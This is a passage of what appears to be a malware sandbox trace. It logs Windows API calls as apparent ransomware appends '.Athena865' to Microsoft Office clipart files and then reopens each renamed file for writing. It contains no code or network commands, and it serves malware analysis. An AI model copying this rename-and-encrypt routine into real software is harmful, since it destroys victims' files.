(lpString1="1165_.WMF", lpString2="Athena865") returned -1 [0135.297] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.Athena865") returned 73 [0135.297] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.298] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1642) returned 1 [0135.301] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TN01308_.WMF" | out: lpString1="TN01308_.WMF") returned="TN01308_.WMF" [0135.301] lstrlenW (lpString="TN01308_.WMF") returned 12 [0135.301] lstrlenW (lpString="Athena865") returned 9 [0135.301] lstrcmpiW (lpString1="1308_.WMF", lpString2="Athena865") returned -1 [0135.301] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.Athena865") returned 73 [0135.301] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=19970) returned 1 [0135.309] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00006_.WMF" | out: lpString1="TR00006_.WMF") returned="TR00006_.WMF" [0135.309] lstrlenW (lpString="TR00006_.WMF") returned 12 [0135.309] lstrlenW (lpString="Athena865") returned 9 [0135.309] lstrcmpiW (lpString1="0006_.WMF", lpString2="Athena865") returned -1 [0135.309] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.Athena865") returned 73 [0135.309] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00006_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00006_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.311] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10090) returned 1 [0135.315] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00095_.WMF" | out: lpString1="TR00095_.WMF") returned="TR00095_.WMF" [0135.315] lstrlenW (lpString="TR00095_.WMF") returned 12 [0135.315] lstrlenW (lpString="Athena865") returned 9 [0135.315] lstrcmpiW (lpString1="0095_.WMF", lpString2="Athena865") returned -1 [0135.315] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.Athena865") returned 73 [0135.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00095_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00095_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.317] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8844) returned 1 [0135.319] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00097_.WMF" | out: lpString1="TR00097_.WMF") returned="TR00097_.WMF" [0135.319] lstrlenW (lpString="TR00097_.WMF") returned 12 [0135.319] lstrlenW (lpString="Athena865") returned 9 [0135.319] lstrcmpiW (lpString1="0097_.WMF", lpString2="Athena865") returned -1 [0135.320] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.Athena865") returned 73 [0135.320] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.321] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00097_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00097_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.321] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2556) returned 1 [0135.324] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00116_.WMF" | out: lpString1="TR00116_.WMF") returned="TR00116_.WMF" [0135.324] lstrlenW (lpString="TR00116_.WMF") returned 12 [0135.324] lstrlenW (lpString="Athena865") returned 9 [0135.324] lstrcmpiW (lpString1="0116_.WMF", lpString2="Athena865") returned -1 [0135.324] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.Athena865") returned 73 [0135.324] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.327] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9660) returned 1 [0135.333] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00126_.WMF" | out: lpString1="TR00126_.WMF") returned="TR00126_.WMF" [0135.333] lstrlenW (lpString="TR00126_.WMF") returned 12 [0135.333] lstrlenW (lpString="Athena865") returned 9 [0135.333] lstrcmpiW (lpString1="0126_.WMF", lpString2="Athena865") returned -1 [0135.333] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.Athena865") returned 73 [0135.333] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00126_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00126_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.335] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4660) returned 1 [0135.338] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00172_.WMF" | out: lpString1="TR00172_.WMF") returned="TR00172_.WMF" [0135.338] lstrlenW (lpString="TR00172_.WMF") returned 12 [0135.338] lstrlenW (lpString="Athena865") returned 9 [0135.338] lstrcmpiW (lpString1="0172_.WMF", lpString2="Athena865") returned -1 [0135.338] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.Athena865") returned 73 [0135.338] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.339] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00172_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00172_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.340] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9052) returned 1 [0135.346] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00178_.WMF" | out: lpString1="TR00178_.WMF") returned="TR00178_.WMF" [0135.346] lstrlenW (lpString="TR00178_.WMF") returned 12 [0135.346] lstrlenW (lpString="Athena865") returned 9 [0135.347] lstrcmpiW (lpString1="0178_.WMF", lpString2="Athena865") returned -1 [0135.348] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.Athena865") returned 73 [0135.348] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.349] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8514) returned 1 [0135.352] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00232_.WMF" | out: lpString1="TR00232_.WMF") returned="TR00232_.WMF" [0135.353] lstrlenW (lpString="TR00232_.WMF") returned 12 [0135.353] lstrlenW (lpString="Athena865") returned 9 [0135.353] lstrcmpiW (lpString1="0232_.WMF", lpString2="Athena865") returned -1 [0135.353] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.Athena865") returned 73 [0135.353] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.354] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00232_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00232_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.354] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=27840) returned 1 [0135.363] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00233_.WMF" | out: lpString1="TR00233_.WMF") returned="TR00233_.WMF" [0135.363] lstrlenW (lpString="TR00233_.WMF") returned 12 [0135.363] lstrlenW (lpString="Athena865") returned 9 [0135.363] lstrcmpiW (lpString1="0233_.WMF", lpString2="Athena865") returned -1 [0135.363] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.Athena865") returned 73 [0135.363] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00233_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00233_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.365] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31818) returned 1 [0135.372] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00402_.WMF" | out: lpString1="TR00402_.WMF") returned="TR00402_.WMF" [0135.372] lstrlenW (lpString="TR00402_.WMF") returned 12 [0135.372] lstrlenW (lpString="Athena865") returned 9 [0135.372] lstrcmpiW (lpString1="0402_.WMF", lpString2="Athena865") returned -1 [0135.372] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.Athena865") returned 73 [0135.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.375] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.376] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2272) returned 1 [0135.378] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00482_.WMF" | out: lpString1="TR00482_.WMF") returned="TR00482_.WMF" [0135.378] lstrlenW (lpString="TR00482_.WMF") returned 12 [0135.379] lstrlenW (lpString="Athena865") returned 9 [0135.379] lstrcmpiW (lpString1="0482_.WMF", lpString2="Athena865") returned -1 [0135.379] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.Athena865") returned 73 [0135.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00482_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00482_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.383] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8276) returned 1 [0135.390] lstrcpyW (in: lpString1=0x241e8ae, lpString2="TR00494_.WMF" | out: lpString1="TR00494_.WMF") returned="TR00494_.WMF" [0135.392] lstrlenW (lpString="TR00494_.WMF") returned 12 [0135.392] lstrlenW (lpString="Athena865") returned 9 [0135.392] lstrcmpiW (lpString1="0494_.WMF", lpString2="Athena865") returned -1 [0135.392] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.Athena865") returned 73 [0135.392] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.athena865"), dwFlags=0x1) returned 1 [0135.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00494_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00494_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.394] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=6144) returned 1 [0135.397] lstrcpyW (in: lpString1=0x241e8ae, lpString2="URBAN_01.MID" | out: lpString1="URBAN_01.MID") returned="URBAN_01.MID" [0135.397] lstrlenW (lpString="URBAN_01.MID") returned 12 [0135.397] lstrlenW (lpString="Athena865") returned 9 [0135.397] lstrcmpiW (lpString1="AN_01.MID", lpString2="Athena865") returned -1 [0135.397] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.Athena865") returned 73 [0135.397] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.athena865"), dwFlags=0x1) returned 1 [0135.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\URBAN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\urban_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.399] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13358) returned 1 [0135.405] lstrcpyW (in: lpString1=0x241e8ae, lpString2="VCTRN_01.MID" | out: lpString1="VCTRN_01.MID") returned="VCTRN_01.MID" [0135.405] lstrlenW (lpString="VCTRN_01.MID") returned 12 [0135.406] lstrlenW (lpString="Athena865") returned 9 [0135.406] lstrcmpiW (lpString1="RN_01.MID", lpString2="Athena865") returned 1 [0135.406] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.Athena865") returned 73 [0135.406] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.athena865"), dwFlags=0x1) returned 1 [0135.412] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\VCTRN_01.MID.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\vctrn_01.mid.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.412] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4961) returned 1 [0135.419] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01219_.GIF" | out: lpString1="WB01219_.GIF") returned="WB01219_.GIF" [0135.420] lstrlenW (lpString="WB01219_.GIF") returned 12 [0135.421] lstrlenW (lpString="Athena865") returned 9 [0135.422] lstrcmpiW (lpString1="1219_.GIF", lpString2="Athena865") returned -1 [0135.423] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.Athena865") returned 73 [0135.423] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.athena865"), dwFlags=0x1) returned 1 [0135.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01219_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01219_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.428] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=740) returned 1 [0135.431] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01237_.GIF" | out: lpString1="WB01237_.GIF") returned="WB01237_.GIF" [0135.431] lstrlenW (lpString="WB01237_.GIF") returned 12 [0135.431] lstrlenW (lpString="Athena865") returned 9 [0135.431] lstrcmpiW (lpString1="1237_.GIF", lpString2="Athena865") returned -1 [0135.431] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.Athena865") returned 73 [0135.431] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.athena865"), dwFlags=0x1) returned 1 [0135.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01237_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01237_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.435] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=363) returned 1 [0135.439] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01238_.GIF" | out: lpString1="WB01238_.GIF") returned="WB01238_.GIF" [0135.440] lstrlenW (lpString="WB01238_.GIF") returned 12 [0135.440] lstrlenW (lpString="Athena865") returned 9 [0135.440] lstrcmpiW (lpString1="1238_.GIF", lpString2="Athena865") returned -1 [0135.440] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.Athena865") returned 73 [0135.440] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.athena865"), dwFlags=0x1) returned 1 [0135.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01238_.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wb01238_.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0135.441] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=359) returned 1 [0135.444] lstrcpyW (in: lpString1=0x241e8ae, lpString2="WB01239_.GIF" | out: lpString1="WB01239_.GIF") returned="WB01239_.GIF" [0135.445] lstrlenW (lpString="WB01239_.GIF") returned 12 [0135.445] lstrlenW (lpString="Athena865") returned 9 [0135.445] lstrcmpiW (lpString1="1239_.GIF", lpString2="Athena865") returned -1 [0135.445] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WB01239_.GIF.Athena865") returned 73 [0135.445] MoveFileExW 